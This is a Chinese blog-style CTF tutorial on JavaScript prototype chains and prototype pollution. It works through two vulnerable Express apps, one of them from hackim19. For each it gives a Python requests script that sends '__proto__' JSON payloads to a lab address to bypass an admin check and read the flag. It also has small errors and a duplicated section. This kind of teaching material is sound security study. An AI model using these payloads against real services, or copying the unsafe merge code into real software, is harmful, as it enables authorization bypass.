【无标题】

文章目录

    • 一、JS原型链
    • 2.原型链概念
    • 二、原型链污染例题
    • 2.例题2


一、JS原型链

1.基础属性
要了解JS原型链就要先了解prototype、proto、constructor这三个属性

1.1prototype属性

function Animal(name) {
  this.name = name,
  this.meow = function () {
    console.log('张')
  }
}
Animal.prototype.color = 'yellow'
var cat1 = new Animal('马')
var cat2 = new Animal('刘')
console.log(cat1.color) // 'white'
console.log(cat2.color) // 'white'
console.log(cat1.meow === cat2.meow) //false

面代码中,cat1和cat2是同一个构造函数的两个实例,它们都具有meow方法。由于meow方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow方法。这既没有必要,又浪费系统资源,因为所有meow方法都是同样的行为,完全应该共享。

而prototype属性解决了这个问题,上面代码中我们使用Animal构造函数的prototype属性,将Animal的原型对象添加了color属性,原型对象的color属性的值变为yellow,两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性,都是读取原型对象的color属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。
但如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。
1.2__proto__属性
实例对象可以通过__proto__访问其原型对象
而经过不断的调用,最终的原型对象会调用到null,这将作为该原型链的最后一个环节,与之对应的,作为终点的null自然也是没有原型对象的

1.3constructor属性
prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

2.原型链概念

每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链",是一种用于对象继承的特性。

引用上面的例子,这里就形成了一条原型链,cat1实例的最终原型对象是null

当位于下层的对象本身没有某个属性或方法的时候,它会去寻找它的上层原型对象的属性或者方法。这里我们便可以污染上层原型对象,使其具有下层对象本身并不具有的方法和属性,来达到我们的目的
2.原型链概念
每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链",是一种用于对象继承的特性。

引用上面的例子,这里就形成了一条原型链,cat1实例的最终原型对象是null

当位于下层的对象本身没有某个属性或方法的时候,它会去寻找它的上层原型对象的属性或者方法。这里我们便可以污染上层原型对象,使其具有下层对象本身并不具有的方法和属性,来达到我们的目的

二、原型链污染例题

1.例题1
使用nodejs,这里注意安装依赖环境—npm install hbs…

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
 
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
 
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
 
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
 
app.get('/', (req, res) => {
 
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
 
    }
    res.render('index');
})
 
 
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
 
 
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
 
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
 
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
 
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
 
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
 
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

审计上述代码,找到我们能够可控的参数,最终发现这一条赋值语句

matrix[client.row][client.col] = client.data;
再看看拿到flag的if条件

条件是user数组必须有admintoken这个属性,并且该属性的md5值必须等于传入的属性值

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
    } 

由于赋值语句中的data是可控的,matrix和user是在全局下定义的数组,所以我们可以利用这条语句传入我们的payload,污染原型链,此时可以这样理解

matrix[client.row][client.col] = client.data;
//等同于
matrix.client.row.client.col = client.data;
//传参后变成
matrix.proto.admintoken = md5(admin);
这里使用python发送post请求(记得在pip中下载requests包)

import requests
import json
 
url1 = "http://192.168.239.138:3000/api"
url2 = "http://192.168.239.138:3000/admin?querytoken=21232f297a57a5a743894a0e4a801fc3"
 
s = requests.session()
 
headers = {"Content-type": "application/json"}
data1 = {"row": "__proto__", "col": "admintoken", "data": "admin"}
 
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
 
print(res2.text)

这里注意,如果我们直接传入"proto",编译器不会把它当做键值,需要使用json.parse转为对应的值

2.例题2

其实还有两个对象可以造成原型链污染

对象merge 结合 拼接

对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制

示例:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
 
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)//1,2
 
o3 = {}
console.log(o3.b)//2
上述代码中,我们将o1,o2对象传入merge函数,for循环中的key就是a和__proto__,if判断,明显o1中都没有这两个key,都走到了else,将o2中的a和__proto__赋值给了o1,此时

o1.a=1

o1.__proto__ = { b : 2 }  也就等价于  o1.__proto__.b = 2,即o1的原型对象Object.b = 2,这样我们就把原型链污染了,此时o3在全局下定义,虽然o3本身并没有b属性,但是它的原型对象Object有,且等于2,所以输出了2

下面我们再来看例题

'use strict';
 
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
 
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
 
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
 
function clone(a) {
    return merge({}, a);
}
 
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
 
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
 
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var admin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.admin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

上述代码出现了merge、clone属性,大概率会有原型链污染漏洞

先看拿到flag的if条件,需要admin对象有admin属性,且值为1

if (admin.admin == 1) {
        res.send("hackim19{}");

再看传参的地方

var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)

我们可以控制的参数是body,然后它使用json.stringify方法把数据转为json格式,再用parse方法转回赋给body对象,然后把body clone后的结果返回给copybody,这时候我们来看clone和merge属性

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
 
function clone(a) {
    return merge({}, a);
}

clone函数里返回的是merge函数的结果,merge函数的过程跟上面讲的merge属性是相似的,就是把一个空对象与传入的body对象进行结合,if判断后都走到了else里,将b的属性赋值给了a,即

{}.proto.admin=1,也就是Object.admin=1,这样成功污染原型链,admin对象本身并不具有admin属性,但是我们给Object赋了一个admin属性,所以admin.admin=1成立,成功拿到flag

我们还是使用Python发送请求

import requests
import json
 
url1 = "http://192.168.239.138:3000/signup"
url2 = "http://192.168.239.138:3000/getflag"
 
headers = {"Content-type": "application/json"}
 
data1 = {"name":"aaa" , "__proto__" : {"admin" : 1}}
 
res1 = requests.post(url1, headers=headers, data = json.dumps(data1))
 
res2 = requests.get(url2)
 
print(res2.text)

你可能感兴趣的:(原型模式,javascript,开发语言)